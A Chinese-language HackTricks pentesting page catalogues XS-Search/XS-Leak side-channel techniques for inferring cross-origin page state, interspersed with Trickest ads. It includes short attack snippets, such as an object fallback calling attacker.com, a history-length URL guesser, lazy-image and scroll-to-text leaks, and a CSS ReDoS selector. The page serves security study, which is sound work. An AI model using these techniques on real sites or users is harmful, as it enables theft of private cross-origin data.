hacktricks/pentesting-web/xs-search.md

80 KiB
Raw Blame History

XS-Search/XS-Leaks

使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本信息

XS-Search是一种面向利用侧信道攻击窃取跨源信息的技术。

这种攻击包含以下不同的元素:

  • 易受攻击的Web: 我们想要窃取信息的Web
  • 攻击者的Web: 攻击者创建的包含漏洞利用的Web受害者访问该Web
  • 包含方法: 用于从攻击者的Web加载易受攻击的Web的方法如window.open、iframe、fetch、带有href的HTML标签等
  • 泄漏技术: 在访问易受攻击的Web之后将使用一种技术来区分从使用的包含方法获得的信息与Web的潜在状态之间的差异。
  • 状态: 易受攻击的Web可能具有的2种可能状态取决于我们想要区分的受害者。
  • 可检测的差异: 这是攻击者必须尝试确定易受攻击的Web状态的信息。

可检测的差异

为了区分易受攻击页面的2种状态可以查看以下几个方面

  • 状态码。攻击者可以区分跨源的不同HTTP响应状态码(例如,服务器错误、客户端错误或身份验证错误)。
  • API使用。这种可检测的差异允许攻击者检测页面之间的Web API使用从而推断跨源页面是否使用特定的JavaScript Web API。
  • 重定向。可以检测到Web应用程序是否将用户导航到其他页面。这不仅限于HTTP重定向还包括由JavaScript或HTML触发的重定向。
  • 页面内容。这些可检测的差异出现在HTTP响应正文本身或页面包含的子资源中。例如这可能是包含的帧的数量参见Gitlab上的XS-Leak或图像的大小差异。
  • HTTP头。攻击者可以检测特定的HTTP响应头的存在并可能能够收集其值。这包括诸如X-Frame-Options、Content-Disposition和Cross-Origin-Resource-Policy等头部。
  • 时间:攻击者可以检测到两个状态之间存在一致的时间差异。

包含方法

  • HTML元素。HTML提供了各种元素可以实现跨源资源包含。像样式表、图像或脚本等元素会强制受害者的浏览器请求指定的非HTML资源。可以在网上找到列举此目的可能的HTML元素的列表https://github.com/cure53/HTTPLeaks)。

  • 框架。像iframeobjectembed这样的元素可以直接将其他HTML资源嵌入到攻击者页面中。如果页面不使用框架保护JavaScript代码可以通过contentWindow属性访问嵌入资源的窗口对象。

  • 弹出窗口window.open方法在新的浏览器标签或窗口中加载资源。该方法返回一个窗口句柄JavaScript代码可以使用该句柄访问符合SOP的方法和属性。这些所谓的弹出窗口通常用于单点登录。现代浏览器只允许在触发某些用户交互时弹出窗口。对于XS-Leak攻击这种方法特别有帮助因为它绕过了目标资源的框架和cookie限制。较新的浏览器版本最近添加了隔离窗口句柄的方法。

  • JavaScript请求。JavaScript允许直接向目标资源发送请求。有两种不同的方式可以实现这一目的XMLHttpRequests及其后继者Fetch API。与先前的包含方法相比攻击者对发出的请求具有精细的控制例如是否自动跟随HTTP重定向。 ###泄漏技术

  • 事件处理程序。事件处理程序可以被视为XS-Leaks的经典泄漏技术。它们是各种信息的众所周知的来源。例如onload的触发表示资源加载成功而onerror事件则表示加载失败。

  • 错误消息。除了事件处理程序错误消息可以作为JavaScript异常和特殊错误页面出现。错误消息可以在不同的步骤中抛出例如直接由泄漏技术抛出。泄漏技术可以直接使用错误消息中包含的附加信息或者区分错误消息的出现和缺失。

  • 全局限制。每台计算机都有其物理限制,浏览器也是如此。例如,可用内存的数量限制了浏览器运行的标签页。对于整个浏览器强制执行的其他浏览器限制也是如此。如果攻击者能够确定何时达到限制,这可以用作泄漏技术。

  • 全局状态。浏览器具有所有页面都可以相互交互的全局状态。如果攻击者的网站可以检测到这种交互,那么它可以用作泄漏技术。例如,History接口允许操作在标签页或框架中访问的页面。这创建了一个全局状态,因为条目的数量允许攻击者推断跨源页面。

  • 性能API。性能API用于访问当前页面的性能信息。它们的条目包括文档和页面加载的每个资源的详细网络计时数据。这使得攻击者可以推断出请求的资源。例如我们发现某些请求浏览器不会创建性能条目的情况。

  • 可读属性。HTML有几个可跨源读取的属性。这种读取访问可以用作泄漏技术。例如JavaScript代码可以使用window.frame.length属性跨源读取包含在网页中的帧数。

基于时间的技术

以下一些技术将使用时间作为检测网页可能状态差异的过程的一部分。在Web浏览器中有不同的测量时间的方法。

时钟performance.now() API允许开发人员获取高分辨率的时间测量。
攻击者可以滥用大量API来创建隐式时钟Broadcast Channel APIMessage Channel APIrequestAnimationFramesetTimeout、CSS动画等。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/clocks

XSinator

XSinator是一个自动工具用于检查浏览器是否存在几种已知的XS-Leaks其在其论文中有详细解释https://xsinator.com/paper.pdf
您可以在https://xsinator.com/上访问该工具。

{% hint style="warning" %} 排除的XS-Leaks:我们不得不排除依赖于服务工作者的XS-Leaks因为它们会干扰XSinator中的其他泄漏。此外我们选择排除依赖于特定Web应用程序中的配置错误和错误的XS-Leaks。例如跨源资源共享CORS配置错误、postMessage泄漏或跨站脚本。此外我们还排除了基于时间的XS-Leaks因为它们往往速度慢、噪音大且不准确。 {% endhint %}


使用Trickest轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

事件处理程序技术

Onload/Onerror

{% content-ref url="xs-search/cookie-bomb-+-onerror-xs-leak.md" %} cookie-bomb-+-onerror-xs-leak.md {% endcontent-ref %}

代码示例尝试从JS中加载脚本对象但也可以使用其他标签如对象、样式表、图像、音频。此外还可以直接注入标签并在标签内声明onloadonerror事件而不是从JS中注入

还有一个无脚本版本的攻击:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

在这种情况下,如果找不到example.com/404,将加载attacker.com/?error

Onload Timing

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Onload Timing + Forced Heavy Task

这种技术与前一种类似,但攻击者还将在答案为正或负时强制执行某些操作,以测量所需的时间。

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

unload/beforeunload Timing

unloadbeforeunload事件可用于测量获取资源所需的时间。这是因为当浏览器请求新的导航请求时,会触发**beforeunload,而当该导航实际发生时,会触发unload**。由于这种行为,可以计算这两个事件之间的时间差,并测量浏览器完成获取资源所花费的时间。

Sandboxed Frame Timing + onload

如果页面没有实施任何Framing Protections攻击者可以计算页面及其所有子资源在网络上加载所需的时间。默认情况下iframe的onload处理程序在所有资源加载完成并且所有JavaScript执行完毕后调用。但是攻击者可以通过在<iframe>中包含sandbox属性来消除脚本执行的干扰。该属性会阻止许多功能包括JavaScript执行从而几乎纯粹地进行网络测量。

#ID + error + onload

  • 包含方法:框架
  • 可检测差异:页面内容
  • 更多信息
  • 摘要:如果可以使页面在访问正确内容时出错,并在访问任何内容时正确加载,那么可以制作一个循环来提取所有信息,而无需测量时间。
  • 代码示例

假设可以将包含秘密内容的页面****插入到Iframe中。

可以使用一个Iframe例如利用CSRF让受害者搜索包含“flag”的文件。在Iframe内部可以知道_onload事件_将始终至少执行一次。然后可以通过仅更改URL中的哈希内容来更改Iframe的URL

例如:

  1. URL1www.attacker.com/xssearch#try1
  2. URL2www.attacker.com/xssearch#try2

如果第一个URL成功加载,那么当更改URL的哈希部分时,onload事件将不会再次触发。但是,如果页面在加载时出现某种错误,则onload事件将再次触发

然后,可以区分正确加载的页面和访问时出现错误的页面。

Javascript Execution

  • 包含方法:框架
  • 可检测差异:页面内容
  • 更多信息
  • 摘要:如果页面返回敏感内容,或者用户可以控制内容。用户可以在否定情况下设置有效的JS代码,并在**<script>标签中加载每个尝试,因此在否定情况下,攻击者的代码将被执行**,而在肯定情况下将不会执行任何操作。
  • 代码示例

{% content-ref url="xs-search/javascript-execution-xs-leak.md" %} javascript-execution-xs-leak.md {% endcontent-ref %}

CORB - Onerror

  • 包含方法HTML元素
  • 可检测差异:状态码和头部
  • 更多信息https://xsleaks.dev/docs/attacks/browser-features/corb/
  • 摘要攻击者可以观察到当CORB被执行时如果响应返回一个带有状态码2xx的_CORB受保护_Content-Type(和nosniffCORB会从响应中剥离正文和头部。检测到这种保护可以使攻击者泄露两者的组合,即状态码(成功与错误)和**Content-Type**由CORB保护或不保护
  • 代码示例

查看更多信息链接以了解有关攻击的更多信息。

onblur

可以在iframe中加载页面并使用#id_value来使页面聚焦在iframe中指定的元素上然后如果触发了**onblur信号表示ID元素存在。您可以使用portal**标签执行相同的攻击。

postMessage广播

  • 包含方法:框架,弹出窗口
  • 可检测差异API使用
  • 更多信息https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • 摘要从postMessage中收集敏感信息或者使用postMessage的存在作为一个预言机来了解用户在页面中的状态。
  • 代码示例任何监听所有postMessages的代码。

应用程序通常使用postMessage广播与其他来源共享信息。通过监听这些消息,可以找到敏感信息(如果未使用targetOrigin参数)。此外,接收到某些消息的事实可以被用作预言机(只有在登录时才会收到此类消息)。


使用Trickest可以轻松构建和自动化工作流,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

全局限制技术

WebSocket API

可以确定目标页面使用了多少个WebSocket连接。这使得攻击者可以检测应用程序状态并泄露与WebSocket连接数量相关的信息。

如果一个使用了最大数量的WebSocket连接对象,无论它们的连接状态如何,创建新对象将导致JavaScript异常。为执行此攻击攻击者的网站在弹出窗口或iframe中打开目标网站然后在目标网站加载完成后尝试创建尽可能多的WebSocket连接。抛出的异常数量就是目标网站窗口使用的WebSocket连接数量

Payment API

这种XS-Leak使攻击者能够检测跨源页面何时发起支付请求

因为一次只能有一个支付请求处于活动状态如果目标网站正在使用Payment Request API任何进一步尝试使用此API将失败并导致JavaScript异常。攻击者可以通过定期尝试显示Payment API UI来利用这一点。如果一次尝试导致异常表示目标网站当前正在使用该API。攻击者可以在创建后立即关闭UI以隐藏这些定期尝试。

计时事件循环

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

JavaScript的并发模型基于单线程事件循环,这意味着一次只能运行一个任务。通过测量代码从不同源运行所需的时间,可以推断出来自不同源的代码的运行时间。攻击者通过向事件循环发送具有固定属性的事件,如果池为空,这些事件最终会被分派。其他源将事件分派到同一个池中,攻击者可以通过检测其任务是否发生延迟来推断出时间差异。

{% hint style="warning" %} 在执行计时中,可以消除****网络因素以获得更精确的测量结果。例如,在加载页面之前加载页面使用的资源。 {% endhint %}

繁忙的事件循环

这种技术的主要优点之一是它能够规避站点隔离,因为攻击者的来源可以影响另一个来源的执行。

{% hint style="warning" %} 在执行计时中,可以消除网络因素以获得更精确的测量结果。例如,在加载页面之前加载页面使用的资源。 {% endhint %}

连接池

  • 包含方法JavaScript 请求
  • 可检测的差异:时间(通常由页面内容、状态码引起)
  • 更多信息https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • 摘要:攻击者可以锁定除了一个之外的所有套接字,加载目标网页并同时加载另一个页面,最后一个页面开始加载的时间就是目标页面加载所需的时间。
  • 代码示例

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

浏览器使用套接字与服务器进行通信。由于操作系统及其运行的硬件资源有限,浏览器必须施加限制。为了利用这个限制的存在,攻击者可以:

  1. 检查浏览器的限制例如全局套接字的数量为256。
  2. 通过对不同主机执行255个请求来长时间阻塞255个套接字使其无法使用。
  3. 通过对目标页面执行一个请求来使用第256个套接字。
  4. 对另一个主机执行第257个请求。由于在步骤2和3中所有套接字都被使用此请求必须等待直到连接池接收到一个可用的套接字。这个等待期间提供给攻击者的是第256个套接字的网络计时它属于目标页面。这是因为步骤2中的255个套接字仍然被阻塞所以如果连接池接收到一个可用的套接字那是因为在步骤3中释放了套接字。释放第256个套接字的时间与完成请求所需的时间直接相关。

了解更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

按目标的连接池

  • 包含方法JavaScript 请求
  • 可检测的差异:时间(通常由页面内容、状态码引起)
  • 更多信息
  • 摘要这与前一种技术类似但不是使用所有的套接字而是Google Chrome同一源的并发请求设置了限制为6个。如果我们阻塞5个然后发起第6个请求,我们可以计时它,如果我们成功让受害页面发送更多请求到同一端点以检测页面状态第6个请求将花费更长的时间,我们可以检测到它。

使用Trickest轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

性能 API 技术

性能 API提供了与性能相关的信息,通过资源计时 API的数据增强,该 API 提供了网络请求的时间,如持续时间,但当服务器发送了Timing-Allow-Origin: *头时,还提供了传输大小和域名查找时间。
可以使用performance.getEntriesperformance.getEntriesByName来访问这些数据。也可以使用差值performance.now()来获取执行时间,但对于 Chrome 的 fetch 来说,这似乎不太精确,因为它只提供毫秒级别的时间。

该 API 可用于测量请求的时间或检测使用了 X-Frame-Options因为在 Chrome 中,被阻止的页面不会被添加到performance对象中。

错误泄漏

可以通过请求导致错误的方式来区分 HTTP 响应状态码,因为导致错误的请求不会创建性能条目。

样式重新加载错误

在前一种技术中,还发现了两种情况,即浏览器中的 GC 错误导致资源加载失败时加载两次。这将导致性能 API 中出现多个条目,因此可以检测到这种情况。

请求合并错误

该技术在提到的论文中的一个表格中找到,但没有找到关于该技术的描述。然而,您可以在https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak中找到检查该技术的源代码。

空页面泄漏

攻击者可以检测请求是否导致空的HTTP响应体因为空页面在某些浏览器中不会创建性能条目

XSS-Auditor泄漏

在SA中可以检测XSSAuditor是否被触发从而泄漏敏感信息。XSS-Auditor是SA和GC现已删除的内置功能旨在防止跨站脚本攻击XSS。2013年Braun和Heiderich [7]展示了XSS-Auditor可以用于阻止误报的良性脚本。基于他们的技术研究人员可以窃取信息并检测跨源页面上的特定内容。Terada在一个错误报告中首次描述了这些XS-Leak后来由Heyes在一篇博文中描述。然而发现的技术仅适用于GC中的XSS-Auditor在SA中不起作用。我们发现被阻止的页面不会创建性能API条目。这意味着攻击者仍然可以使用SA中的XSS-Auditor泄漏敏感信息。

X-Frame泄漏

如果一个页面不允许iframe渲染,它将不会创建性能条目。因此,攻击者可以检测响应头部**X-Frame-Options
如果使用
embed**标签也是如此。

下载检测

类似于描述的XS-Leak由于ContentDisposition头部而导致下载的资源不会创建性能条目。这种技术适用于所有主要浏览器。

重定向开始泄漏

我们发现了一个XS-Leak实例滥用了一些浏览器记录跨源请求过多信息的行为。标准定义了一组应该对跨源资源设置为零的属性子集。然而SA中,可以通过查询Performance API并检查redirectStart计时数据来检测用户是否被目标页面重定向。

持续时间重定向泄漏

在GC中导致重定向的请求的持续时间为负数,因此可以与不导致重定向的请求进行区分

公司泄漏

在某些情况下,nextHopProtocol条目可以用作泄漏技术。在GC中当设置了CORP headernextHopProtocol将为空。请注意对于启用CORP的资源SA将根本不会创建性能条目。

服务工作者

服务工作者是在一个来源上运行的事件驱动脚本上下文。它们在网页的后台运行,可以拦截、修改和缓存资源以创建离线Web应用程序。
如果通过iframe访问由服务工作者缓存的资源,则资源将从服务工作者缓存中加载。
要检测资源是否从服务工作者缓存中加载,可以使用Performance API
这也可以通过定时攻击来实现(详细信息请参阅论文)。

缓存

使用Performance API可以检查资源是否被缓存。
更多信息:https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

网络持续时间

错误消息技术

媒体错误

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

MediaError接口的message属性包含了一个不同的字符串,用于成功加载资源。这使得攻击者可以推断跨源资源的响应状态。

CORS错误

这种技术允许攻击者泄露由跨源站点发起的重定向的目标。

CORS允许从任何网站读取和使用公开可访问的Web资源。在基于Webkit的浏览器中当CORS请求失败时可以访问CORS错误消息。攻击者可以向目标网站发送一个启用CORS的请求该请求根据用户状态进行重定向。当浏览器拒绝请求时,错误消息中会泄露重定向目标的完整URL。通过这种攻击,可以检测重定向,泄露重定向位置和敏感的查询参数。

SRI错误

攻击者可以通过冗长的错误消息泄露跨源响应的大小。

完整性属性定义了一个加密哈希浏览器可以通过该哈希验证获取的资源是否被篡改。这个安全机制称为子资源完整性SRI。它用于验证从内容交付网络CDN提供的资源的完整性。为了防止数据泄露跨源资源必须启用CORS。否则响应将无法进行完整性验证。与CORS错误XS-Leak类似可以在使用完整性属性的fetch请求失败后捕获错误消息。攻击者可以通过指定一个虚假的哈希值来强制触发错误。在SA中这个错误消息会泄露所请求资源的内容长度。攻击者可以利用这个泄露来检测响应大小的差异从而实现强大的XS-Leak攻击。

CSP违规/检测

XS-Leak可以使用CSP检测跨源站点是否被重定向到不同的源。这个泄露可以检测重定向而且还会泄露重定向目标的域。这种攻击的基本思想是在攻击者站点上允许目标域。一旦向目标域发出请求,它会重定向到一个跨源域。CSP阻止对它的访问并创建一个违规报告,用作泄露技术。根据浏览器的不同,这个报告可能会泄露重定向的目标位置
现代浏览器不会显示被重定向到的URL但仍然可以检测到触发了跨源重定向。

缓存

浏览器可能对所有网站使用一个共享缓存。无论其来源如何,都可以推断出目标页面是否请求了特定的文件

如果一个页面只在用户登录后加载图像,您可以使资源无效(如果已经缓存,则不再缓存,详见更多信息链接),执行一个可能加载该资源的请求,并尝试使用错误请求加载资源(例如使用过长的引用头)。如果资源加载没有触发任何错误,那是因为它被缓存了。

CSP指令

GC中的一个新功能允许网页通过在iframe元素上设置属性来提出CSP。策略指令随HTTP请求一起传输。通常嵌入内容必须使用HTTP头部明确允许此操作否则将显示错误页面。然而如果iframe已经包含一个CSP并且新策略不更严格页面将正常显示。

这使得攻击者可以检测跨源页面的特定CSP指令如果可以检测到错误页面的话。尽管这个错误现在被标记为已修复,但我们发现了一个新的泄露技术,可以检测到错误页面,因为根本问题从未被修复

CORP

CORP头是一个相对较新的Web平台安全特性当设置时阻止对给定资源的no-cors跨源请求。可以通过检测头部的存在来判断因为使用CORP保护的资源在获取时会抛出错误

CORB

请查看更多信息链接以获取有关该攻击的更多信息。

未正确配置的Origin Reflection导致的CORS错误

如果Origin头部被反射在Access-Control-Allow-Origin头部中攻击者可以利用这种行为尝试以CORS模式获取资源。如果没有触发错误,则表示资源已经正确从Web中检索如果触发了错误则表示它是从缓存中访问的错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的CORS头部的响应
请注意如果Origin没有被反射而是使用通配符Access-Control-Allow-Origin: *),这种方法将不起作用。

可读属性技术

Fetch重定向

使用Fetch API提交请求时使用redirect: "manual"和其他参数,可以读取response.type属性,如果它等于opaqueredirect,则响应是一个重定向。

COOP

攻击者可以通过检查跨源HTTP响应中是否存在跨源打开策略COOP头部来泄露信息。

Web应用程序可以部署COOP响应头部以防止其他网站获得对应用程序的任意窗口引用。然而这个头部很容易被检测到,只需尝试读取**contentWindow引用即可。如果一个站点只在一个状态下部署COOP**,则此属性(opener)为未定义,否则为已定义

URL最大长度 - 服务器端

如果服务器端重定向使用了重定向中的用户输入额外数据。可以通过检测这种行为来判断,因为通常服务器有一个限制请求长度。如果用户数据正好是长度-1,因为重定向使用了该数据添加了一些额外内容,将会触发一个通过错误事件可检测到的错误

如果您可以向用户设置cookie也可以通过设置足够多的cookiecookie炸弹)来执行此攻击,以便通过正确响应的增加大小触发错误。在这种情况下,请记住,如果您从同一站点触发此请求,<script>将自动发送cookie因此您可以检查错误
关于cookie炸弹 + XS-Search的示例可以在此解决方案中找到:https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

通常,对于此类攻击,需要使用SameSite=None或处于相同上下文中。

URL最大长度 - 客户端

根据Chromium文档Chrome的最大URL长度为2MB。

一般来说_web平台_对URL的长度没有限制尽管2^31是一个常见的限制。_Chrome_出于实际原因和避免在进程间通信中引发拒绝服务问题的考虑将URL限制为最大长度为2MB

因此,如果重定向URL的响应在某些情况下更大,就有可能使其重定向到一个大于2MB的URL以达到长度限制。当发生这种情况时Chrome会显示一个**about:blank#blocked**页面。

显著的差异是,如果重定向完成window.origin会抛出一个错误,因为跨源无法访问该信息。然而,如果达到了限制并且加载的页面是**about:blank#blocked,窗口的origin仍然是父级的,这是一种可访问的信息**。

所有需要达到2MB的额外信息可以通过初始URL中的哈希添加,以便在重定向中使用

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

最大重定向次数

如果浏览器的最大重定向次数是20,攻击者可以尝试使用19次重定向加载自己的页面,最后将受害者发送到被测试的页面。如果触发了一个错误,那么页面试图重定向受害者

历史记录长度

历史记录API允许JavaScript代码操纵浏览器历史记录保存了用户访问的页面。攻击者可以使用长度属性作为包含方法检测JavaScript和HTML导航。
通过检查history.length,让用户导航到一个页面,将其改回同源,并检查history.length**的新值。

带有相同URL的历史记录长度

  • 包含方法: 框架, 弹出窗口
  • 可检测差异: 如果URL与猜测的URL相同
  • 摘要: 可以通过滥用历史记录长度来猜测框架/弹出窗口的位置是否在特定URL中。
  • 代码示例: 下面

攻击者可以使用JavaScript代码将框架/弹出窗口位置操纵到一个猜测的URL,并立即将其更改为about:blank。如果历史记录长度增加这意味着URL是正确的并且有时间增加因为如果URL相同则不会重新加载。如果历史记录长度没有增加,这意味着它尝试加载猜测的URL,但因为我们立即加载了**about:blank,所以历史记录长度从未增加**当加载猜测的URL时。

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

帧计数

通过使用iframewindow.open打开的网页中的帧数计数可能有助于确定用户在该页面上的状态。此外,如果页面始终具有相同数量的帧数,持续检查帧数可能有助于识别可能泄漏信息的模式

例如在Chrome中可以通过帧计数检测到PDF,因为内部使用了embed。有一些打开URL参数可以对内容进行一些控制,例如zoomviewpagetoolbar,这种技术可能会很有趣。

HTMLElements

某些网页可能会根据用户信息动态生成媒体文件或添加更改媒体大小的水印。攻击者可以使用这些HTML元素泄漏的信息来区分可能的状态。

某些HTMLElements会向跨源泄漏一些信息例如它们的媒体类型

CSS属性

Web应用程序可能会根据用户的状态更改网站样式。攻击者可以使用HTML链接元素将跨源CSS文件嵌入到攻击者页面中并将规则应用于攻击者页面。如果页面动态更改这些规则攻击者可以根据用户状态检测这些差异
作为一种泄漏技术,攻击者可以使用window.getComputedStyle方法来读取特定HTML元素的CSS属性。因此如果已知受影响的元素和属性名称攻击者可以读取任意CSS属性。

CSS历史

{% hint style="info" %} 根据此处的说法在无头Chrome中无法正常工作。 {% endhint %}

使用CSS :visited选择器可以为已访问的URL应用不同的样式。
以前可以使用getComputedStyle()来检测此差异,但现在浏览器通过始终返回值,就好像链接已访问过,并限制可以使用选择器应用的样式来阻止这种操作。
因此可能需要诱使用户点击受CSS影响的区域可以使用mix-blend-mode来实现。
还有一些无需用户交互的方法,例如滥用渲染时间,这是因为将链接绘制为不同颜色需要时间。
在一个Chromium报告中提供了一个PoC它通过使用多个链接来增加时间差异来实现。

ContentDocument X-Frame泄漏

在Chrome中当一个页面由于X-FrameOptionsXFO头设置为deny或same-origin而不允许嵌入到跨源页面时显示错误页面。对于对象来说,可以通过检查contentDocument属性来检测到这个错误页面。通常情况下该属性返回null因为不允许访问跨源嵌入的文档。然而由于Chrome对错误页面的渲染会返回一个空的文档对象。这对于iframes或其他浏览器不起作用。开发人员可能会忘记为所有页面设置X-Frame-Options尤其是错误页面经常会缺少这个头。作为一种泄漏技术攻击者可以通过检查它来区分不同的用户状态。

下载检测

Content-Disposition头(Content-Disposition: attachment)指示浏览器是应该下载内容还是内联显示。

如果只有登录用户能够访问将下载文件的页面,因为它使用了该头,那么可以检测到这种行为。

下载栏

在基于Chromium的浏览器中当下载文件时下载过程的预览会出现在底部的一个栏中,并与浏览器窗口集成。通过监视窗口高度,攻击者可以检测到是否打开了“下载栏”。

下载导航使用iframes

另一种测试Content-Disposition: attachment头的方法是检查是否发生了导航。如果页面加载导致下载,它不会触发导航,窗口仍停留在同一源

下载导航不使用iframes

与前一种技术相同,只是使用window.open而不是iframes。

分区HTTP缓存绕过

{% hint style="warning" %} 这就是这个技术有趣的原因Chrome现在具有缓存分区,新打开的页面的缓存键是:(https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m=xxx)但如果我打开一个ngrok页面并在其中使用fetch缓存键将是(https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx)缓存键不同,因此无法共享缓存。您可以在这里找到更多详细信息:通过分区缓存获得安全性和隐私性
(来自这里的评论) {% endhint %}

如果一个网站example.com包含来自*.example.com/resource的资源,那么该资源将具有与直接通过顶级导航请求资源相同的缓存键。这是因为缓存键由顶级_eTLD+1_和框架_eTLD+1_组成。

由于访问缓存比加载资源更快可以尝试更改页面的位置并在停止后的20毫秒例如取消。如果原始位置在停止后发生了变化这意味着资源已被缓存。
或者可以发送一些fetch到可能被缓存的页面并测量所需的时间

手动重定向

使用 AbortController 进行 Fetch

AbortController 可以与 fetchsetTimeout 结合使用,既可以检测资源是否被缓存,又可以从浏览器缓存中清除特定资源。这种技术的一个好处是,在此过程中进行探测时不会缓存新内容。

脚本污染

Service Workers

  1. 攻击者在其中一个域名 (attacker.com) 注册一个 Service Worker。
  2. 在主文档中,攻击者对目标网站发起一个导航 (window.open) 并指示 Service Worker 启动一个计时器。
  3. 当新窗口开始加载时,攻击者将在步骤 2 中获得的引用导航到由 Service Worker 处理的页面。
  4. 当在步骤 3 中执行的请求到达 Service Worker 时,它返回一个 204 (无内容) 响应,中止导航。
  5. 此时Service Worker 从步骤 2 中启动的计时器中收集一个测量值。这个测量值受 JavaScript 阻塞导航的时间影响。

{% hint style="warning" %} 在执行时间攻击中,可以消除网络因素以获得更精确的测量值。例如,在加载页面之前加载页面使用的资源。 {% endhint %}

Fetch 时间

跨窗口计时


使用 Trickest 可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

使用 HTML 或重新注入

在这里,您可以找到从跨源 HTML 中窃取信息的技术,这些技术在某些情况下很有趣,例如您可以注入 HTML 但无法注入 JS 代码

悬挂标记

{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}

图片懒加载

如果您需要窃取内容并且可以在秘密之前添加 HTML,您应该检查常见的悬挂标记技术
然而,如果由于某种原因您必须逐个字符地执行它(也许通过缓存命中进行通信),您可以使用这个技巧。

HTML 中的图片有一个 "loading" 属性,其值可以是 "lazy"。在这种情况下,图片将在查看时加载,而不是在页面加载时加载:

<img src=/something loading=lazy >

因此,你可以添加大量的垃圾字符(例如成千上万个"W")来填充网页,使其出现在秘密之前,或者添加类似于<br><canvas height="1850px"></canvas><br>的内容。
然后,如果我们的注入出现在标志之前,图片将会被加载,但如果出现在标志之后,标志加上垃圾字符将阻止其加载(你需要调整垃圾字符的数量)。这就是在这篇文章中发生的情况。

另一种选择是使用scroll-to-text-fragment(如果允许):

Scroll-to-text-fragment

然而,你可以让机器人使用以下方式访问页面

#:~:text=SECR

所以网页将是这样的:https://victim.com/post.html#:~:text=SECR

其中post.html包含攻击者的垃圾字符和延迟加载的图像然后添加了机器人的秘密。

这段文本的作用是使机器人访问页面中包含文本SECR的任何文本。由于该文本是秘密,而且它就在图像的下方,只有在猜测的秘密正确时,图像才会加载。因此,你可以通过这种方式逐个字符地泄露秘密

以下是利用此漏洞的一些代码示例:https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

图像延迟加载的基于时间的攻击

如果无法加载外部图像,以便向攻击者指示图像是否已加载,另一种选择是尝试多次猜测字符并测量时间。如果图像已加载,则所有请求的时间都会比图像未加载时长。这就是在此解决方案的写作中使用的方法 在此总结:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

如果使用jQuery(location.hash)可以通过计时来判断是否存在某些HTML内容这是因为如果选择器main[id='site-main']不匹配,则不需要检查其他选择器

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS注入

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

防御措施

在这个部分,你可以找到https://xsinator.com/paper.pdf中推荐的一部分缓解措施,然而,在https://xsleaks.dev/的每个部分中都有更多的缓解措施。请查看那里以获取更多关于如何防御这些技术的信息。

包含方法的缓解措施

